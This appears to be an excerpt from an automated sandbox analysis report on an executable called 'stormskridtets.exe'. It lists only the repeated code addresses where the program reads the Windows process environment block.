            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742E53E mov eax, dword ptr fs:[00000030h]6_2_3742E53E
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742E53E mov eax, dword ptr fs:[00000030h]6_2_3742E53E
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742E53E mov eax, dword ptr fs:[00000030h]6_2_3742E53E
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374355C0 mov eax, dword ptr fs:[00000030h]6_2_374355C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D55C9 mov eax, dword ptr fs:[00000030h]6_2_374D55C9
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743E5CF mov eax, dword ptr fs:[00000030h]6_2_3743E5CF
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743E5CF mov eax, dword ptr fs:[00000030h]6_2_3743E5CF
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374065D0 mov eax, dword ptr fs:[00000030h]6_2_374065D0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743A5D0 mov eax, dword ptr fs:[00000030h]6_2_3743A5D0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743A5D0 mov eax, dword ptr fs:[00000030h]6_2_3743A5D0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3747D5D0 mov eax, dword ptr fs:[00000030h]6_2_3747D5D0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3747D5D0 mov ecx, dword ptr fs:[00000030h]6_2_3747D5D0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374295DA mov eax, dword ptr fs:[00000030h]6_2_374295DA
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D35D7 mov eax, dword ptr fs:[00000030h]6_2_374D35D7
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D35D7 mov eax, dword ptr fs:[00000030h]6_2_374D35D7
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D35D7 mov eax, dword ptr fs:[00000030h]6_2_374D35D7
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374025E0 mov eax, dword ptr fs:[00000030h]6_2_374025E0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742E5E7 mov eax, dword ptr fs:[00000030h]6_2_3742E5E7
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742E5E7 mov eax, dword ptr fs:[00000030h]6_2_3742E5E7
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742E5E7 mov eax, dword ptr fs:[00000030h]6_2_3742E5E7
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742E5E7 mov eax, dword ptr fs:[00000030h]6_2_3742E5E7
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742E5E7 mov eax, dword ptr fs:[00000030h]6_2_3742E5E7
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742E5E7 mov eax, dword ptr fs:[00000030h]6_2_3742E5E7
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742E5E7 mov eax, dword ptr fs:[00000030h]6_2_3742E5E7
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742E5E7 mov eax, dword ptr fs:[00000030h]6_2_3742E5E7
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743C5ED mov eax, dword ptr fs:[00000030h]6_2_3743C5ED
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743C5ED mov eax, dword ptr fs:[00000030h]6_2_3743C5ED
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373F758F mov eax, dword ptr fs:[00000030h]6_2_373F758F
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373F758F mov eax, dword ptr fs:[00000030h]6_2_373F758F
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373F758F mov eax, dword ptr fs:[00000030h]6_2_373F758F
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374215F4 mov eax, dword ptr fs:[00000030h]6_2_374215F4
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374215F4 mov eax, dword ptr fs:[00000030h]6_2_374215F4
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374215F4 mov eax, dword ptr fs:[00000030h]6_2_374215F4
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374215F4 mov eax, dword ptr fs:[00000030h]6_2_374215F4
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374215F4 mov eax, dword ptr fs:[00000030h]6_2_374215F4
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374215F4 mov eax, dword ptr fs:[00000030h]6_2_374215F4
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37402582 mov eax, dword ptr fs:[00000030h]6_2_37402582
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37402582 mov ecx, dword ptr fs:[00000030h]6_2_37402582
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37434588 mov eax, dword ptr fs:[00000030h]6_2_37434588
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748B594 mov eax, dword ptr fs:[00000030h]6_2_3748B594
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748B594 mov eax, dword ptr fs:[00000030h]6_2_3748B594
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743E59C mov eax, dword ptr fs:[00000030h]6_2_3743E59C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374215A9 mov eax, dword ptr fs:[00000030h]6_2_374215A9
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374215A9 mov eax, dword ptr fs:[00000030h]6_2_374215A9
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374215A9 mov eax, dword ptr fs:[00000030h]6_2_374215A9
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374215A9 mov eax, dword ptr fs:[00000030h]6_2_374215A9
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374215A9 mov eax, dword ptr fs:[00000030h]6_2_374215A9
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374805A7 mov eax, dword ptr fs:[00000030h]6_2_374805A7
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374805A7 mov eax, dword ptr fs:[00000030h]6_2_374805A7
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374805A7 mov eax, dword ptr fs:[00000030h]6_2_374805A7
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742F5B0 mov eax, dword ptr fs:[00000030h]6_2_3742F5B0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742F5B0 mov eax, dword ptr fs:[00000030h]6_2_3742F5B0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742F5B0 mov eax, dword ptr fs:[00000030h]6_2_3742F5B0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742F5B0 mov eax, dword ptr fs:[00000030h]6_2_3742F5B0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742F5B0 mov eax, dword ptr fs:[00000030h]6_2_3742F5B0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742F5B0 mov eax, dword ptr fs:[00000030h]6_2_3742F5B0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742F5B0 mov eax, dword ptr fs:[00000030h]6_2_3742F5B0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742F5B0 mov eax, dword ptr fs:[00000030h]6_2_3742F5B0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742F5B0 mov eax, dword ptr fs:[00000030h]6_2_3742F5B0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374245B1 mov eax, dword ptr fs:[00000030h]6_2_374245B1
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374245B1 mov eax, dword ptr fs:[00000030h]6_2_374245B1
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374935BA mov eax, dword ptr fs:[00000030h]6_2_374935BA
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374935BA mov eax, dword ptr fs:[00000030h]6_2_374935BA
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374935BA mov eax, dword ptr fs:[00000030h]6_2_374935BA
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374935BA mov eax, dword ptr fs:[00000030h]6_2_374935BA
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374BF5BE mov eax, dword ptr fs:[00000030h]6_2_374BF5BE
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740B440 mov eax, dword ptr fs:[00000030h]6_2_3740B440
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740B440 mov eax, dword ptr fs:[00000030h]6_2_3740B440
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740B440 mov eax, dword ptr fs:[00000030h]6_2_3740B440
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740B440 mov eax, dword ptr fs:[00000030h]6_2_3740B440
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740B440 mov eax, dword ptr fs:[00000030h]6_2_3740B440
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740B440 mov eax, dword ptr fs:[00000030h]6_2_3740B440
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743E443 mov eax, dword ptr fs:[00000030h]6_2_3743E443
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743E443 mov eax, dword ptr fs:[00000030h]6_2_3743E443
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743E443 mov eax, dword ptr fs:[00000030h]6_2_3743E443
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743E443 mov eax, dword ptr fs:[00000030h]6_2_3743E443
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743E443 mov eax, dword ptr fs:[00000030h]6_2_3743E443
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743E443 mov eax, dword ptr fs:[00000030h]6_2_3743E443
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743E443 mov eax, dword ptr fs:[00000030h]6_2_3743E443
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743E443 mov eax, dword ptr fs:[00000030h]6_2_3743E443
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374BF453 mov eax, dword ptr fs:[00000030h]6_2_374BF453
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742245A mov eax, dword ptr fs:[00000030h]6_2_3742245A
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FC427 mov eax, dword ptr fs:[00000030h]6_2_373FC427
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FE420 mov eax, dword ptr fs:[00000030h]6_2_373FE420
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FE420 mov eax, dword ptr fs:[00000030h]6_2_373FE420
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FE420 mov eax, dword ptr fs:[00000030h]6_2_373FE420
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37401460 mov eax, dword ptr fs:[00000030h]6_2_37401460
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37401460 mov eax, dword ptr fs:[00000030h]6_2_37401460
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37401460 mov eax, dword ptr fs:[00000030h]6_2_37401460
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37401460 mov eax, dword ptr fs:[00000030h]6_2_37401460
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37401460 mov eax, dword ptr fs:[00000030h]6_2_37401460
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741F460 mov eax, dword ptr fs:[00000030h]6_2_3741F460
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741F460 mov eax, dword ptr fs:[00000030h]6_2_3741F460
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741F460 mov eax, dword ptr fs:[00000030h]6_2_3741F460
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741F460 mov eax, dword ptr fs:[00000030h]6_2_3741F460
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741F460 mov eax, dword ptr fs:[00000030h]6_2_3741F460
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741F460 mov eax, dword ptr fs:[00000030h]6_2_3741F460
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748C460 mov ecx, dword ptr fs:[00000030h]6_2_3748C460
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742A470 mov eax, dword ptr fs:[00000030h]6_2_3742A470
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742A470 mov eax, dword ptr fs:[00000030h]6_2_3742A470
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742A470 mov eax, dword ptr fs:[00000030h]6_2_3742A470
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D547F mov eax, dword ptr fs:[00000030h]6_2_374D547F
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37438402 mov eax, dword ptr fs:[00000030h]6_2_37438402
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37438402 mov eax, dword ptr fs:[00000030h]6_2_37438402
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37438402 mov eax, dword ptr fs:[00000030h]6_2_37438402
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742340D mov eax, dword ptr fs:[00000030h]6_2_3742340D
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37487410 mov eax, dword ptr fs:[00000030h]6_2_37487410
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37486420 mov eax, dword ptr fs:[00000030h]6_2_37486420
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37486420 mov eax, dword ptr fs:[00000030h]6_2_37486420
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37486420 mov eax, dword ptr fs:[00000030h]6_2_37486420
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37486420 mov eax, dword ptr fs:[00000030h]6_2_37486420
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37486420 mov eax, dword ptr fs:[00000030h]6_2_37486420
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37486420 mov eax, dword ptr fs:[00000030h]6_2_37486420
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37486420 mov eax, dword ptr fs:[00000030h]6_2_37486420
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743A430 mov eax, dword ptr fs:[00000030h]6_2_3743A430
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D54DB mov eax, dword ptr fs:[00000030h]6_2_374D54DB
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374004E5 mov ecx, dword ptr fs:[00000030h]6_2_374004E5
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374A94E0 mov eax, dword ptr fs:[00000030h]6_2_374A94E0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FB480 mov eax, dword ptr fs:[00000030h]6_2_373FB480
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37409486 mov eax, dword ptr fs:[00000030h]6_2_37409486
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37409486 mov eax, dword ptr fs:[00000030h]6_2_37409486
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374064AB mov eax, dword ptr fs:[00000030h]6_2_374064AB
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374334B0 mov eax, dword ptr fs:[00000030h]6_2_374334B0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374344B0 mov ecx, dword ptr fs:[00000030h]6_2_374344B0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748A4B0 mov eax, dword ptr fs:[00000030h]6_2_3748A4B0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37482349 mov eax, dword ptr fs:[00000030h]6_2_37482349
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37482349 mov eax, dword ptr fs:[00000030h]6_2_37482349
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37482349 mov eax, dword ptr fs:[00000030h]6_2_37482349
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37482349 mov eax, dword ptr fs:[00000030h]6_2_37482349
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37482349 mov eax, dword ptr fs:[00000030h]6_2_37482349
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37482349 mov eax, dword ptr fs:[00000030h]6_2_37482349
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37482349 mov eax, dword ptr fs:[00000030h]6_2_37482349
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37482349 mov eax, dword ptr fs:[00000030h]6_2_37482349
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37482349 mov eax, dword ptr fs:[00000030h]6_2_37482349
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37482349 mov eax, dword ptr fs:[00000030h]6_2_37482349
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37482349 mov eax, dword ptr fs:[00000030h]6_2_37482349
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37482349 mov eax, dword ptr fs:[00000030h]6_2_37482349
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37482349 mov eax, dword ptr fs:[00000030h]6_2_37482349
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37482349 mov eax, dword ptr fs:[00000030h]6_2_37482349
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37482349 mov eax, dword ptr fs:[00000030h]6_2_37482349
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D5341 mov eax, dword ptr fs:[00000030h]6_2_374D5341
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373F7330 mov eax, dword ptr fs:[00000030h]6_2_373F7330
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748035C mov eax, dword ptr fs:[00000030h]6_2_3748035C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748035C mov eax, dword ptr fs:[00000030h]6_2_3748035C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748035C mov eax, dword ptr fs:[00000030h]6_2_3748035C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748035C mov ecx, dword ptr fs:[00000030h]6_2_3748035C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748035C mov eax, dword ptr fs:[00000030h]6_2_3748035C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748035C mov eax, dword ptr fs:[00000030h]6_2_3748035C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374CA352 mov eax, dword ptr fs:[00000030h]6_2_374CA352
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374BF367 mov eax, dword ptr fs:[00000030h]6_2_374BF367
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FC310 mov ecx, dword ptr fs:[00000030h]6_2_373FC310
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37407370 mov eax, dword ptr fs:[00000030h]6_2_37407370
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37407370 mov eax, dword ptr fs:[00000030h]6_2_37407370
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37407370 mov eax, dword ptr fs:[00000030h]6_2_37407370
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374A437C mov eax, dword ptr fs:[00000030h]6_2_374A437C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748930B mov eax, dword ptr fs:[00000030h]6_2_3748930B
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748930B mov eax, dword ptr fs:[00000030h]6_2_3748930B
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748930B mov eax, dword ptr fs:[00000030h]6_2_3748930B
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743A30B mov eax, dword ptr fs:[00000030h]6_2_3743A30B
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743A30B mov eax, dword ptr fs:[00000030h]6_2_3743A30B
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743A30B mov eax, dword ptr fs:[00000030h]6_2_3743A30B
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37420310 mov ecx, dword ptr fs:[00000030h]6_2_37420310
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374C132D mov eax, dword ptr fs:[00000030h]6_2_374C132D
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374C132D mov eax, dword ptr fs:[00000030h]6_2_374C132D
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742F32A mov eax, dword ptr fs:[00000030h]6_2_3742F32A
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373F9353 mov eax, dword ptr fs:[00000030h]6_2_373F9353
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373F9353 mov eax, dword ptr fs:[00000030h]6_2_373F9353
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FD34C mov eax, dword ptr fs:[00000030h]6_2_373FD34C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FD34C mov eax, dword ptr fs:[00000030h]6_2_373FD34C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740A3C0 mov eax, dword ptr fs:[00000030h]6_2_3740A3C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740A3C0 mov eax, dword ptr fs:[00000030h]6_2_3740A3C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740A3C0 mov eax, dword ptr fs:[00000030h]6_2_3740A3C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740A3C0 mov eax, dword ptr fs:[00000030h]6_2_3740A3C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740A3C0 mov eax, dword ptr fs:[00000030h]6_2_3740A3C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740A3C0 mov eax, dword ptr fs:[00000030h]6_2_3740A3C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374083C0 mov eax, dword ptr fs:[00000030h]6_2_374083C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374083C0 mov eax, dword ptr fs:[00000030h]6_2_374083C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374083C0 mov eax, dword ptr fs:[00000030h]6_2_374083C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374083C0 mov eax, dword ptr fs:[00000030h]6_2_374083C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374BC3CD mov eax, dword ptr fs:[00000030h]6_2_374BC3CD
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374863C0 mov eax, dword ptr fs:[00000030h]6_2_374863C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374BB3D0 mov ecx, dword ptr fs:[00000030h]6_2_374BB3D0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373F8397 mov eax, dword ptr fs:[00000030h]6_2_373F8397
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373F8397 mov eax, dword ptr fs:[00000030h]6_2_373F8397
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373F8397 mov eax, dword ptr fs:[00000030h]6_2_373F8397
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374103E9 mov eax, dword ptr fs:[00000030h]6_2_374103E9
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374103E9 mov eax, dword ptr fs:[00000030h]6_2_374103E9
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374103E9 mov eax, dword ptr fs:[00000030h]6_2_374103E9
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374103E9 mov eax, dword ptr fs:[00000030h]6_2_374103E9
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374103E9 mov eax, dword ptr fs:[00000030h]6_2_374103E9
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374103E9 mov eax, dword ptr fs:[00000030h]6_2_374103E9
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374103E9 mov eax, dword ptr fs:[00000030h]6_2_374103E9
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374103E9 mov eax, dword ptr fs:[00000030h]6_2_374103E9
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374BF3E6 mov eax, dword ptr fs:[00000030h]6_2_374BF3E6
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D53FC mov eax, dword ptr fs:[00000030h]6_2_374D53FC
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741E3F0 mov eax, dword ptr fs:[00000030h]6_2_3741E3F0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741E3F0 mov eax, dword ptr fs:[00000030h]6_2_3741E3F0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741E3F0 mov eax, dword ptr fs:[00000030h]6_2_3741E3F0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FE388 mov eax, dword ptr fs:[00000030h]6_2_373FE388
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FE388 mov eax, dword ptr fs:[00000030h]6_2_373FE388
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FE388 mov eax, dword ptr fs:[00000030h]6_2_373FE388
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374363FF mov eax, dword ptr fs:[00000030h]6_2_374363FF
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742438F mov eax, dword ptr fs:[00000030h]6_2_3742438F
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742438F mov eax, dword ptr fs:[00000030h]6_2_3742438F
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D539D mov eax, dword ptr fs:[00000030h]6_2_374D539D
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3745739A mov eax, dword ptr fs:[00000030h]6_2_3745739A
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3745739A mov eax, dword ptr fs:[00000030h]6_2_3745739A
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374333A0 mov eax, dword ptr fs:[00000030h]6_2_374333A0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374333A0 mov eax, dword ptr fs:[00000030h]6_2_374333A0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374233A5 mov eax, dword ptr fs:[00000030h]6_2_374233A5
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373F823B mov eax, dword ptr fs:[00000030h]6_2_373F823B
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37488243 mov eax, dword ptr fs:[00000030h]6_2_37488243
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37488243 mov ecx, dword ptr fs:[00000030h]6_2_37488243
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743724D mov eax, dword ptr fs:[00000030h]6_2_3743724D
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37406259 mov eax, dword ptr fs:[00000030h]6_2_37406259
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374BB256 mov eax, dword ptr fs:[00000030h]6_2_374BB256
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374BB256 mov eax, dword ptr fs:[00000030h]6_2_374BB256
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37404260 mov eax, dword ptr fs:[00000030h]6_2_37404260
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37404260 mov eax, dword ptr fs:[00000030h]6_2_37404260
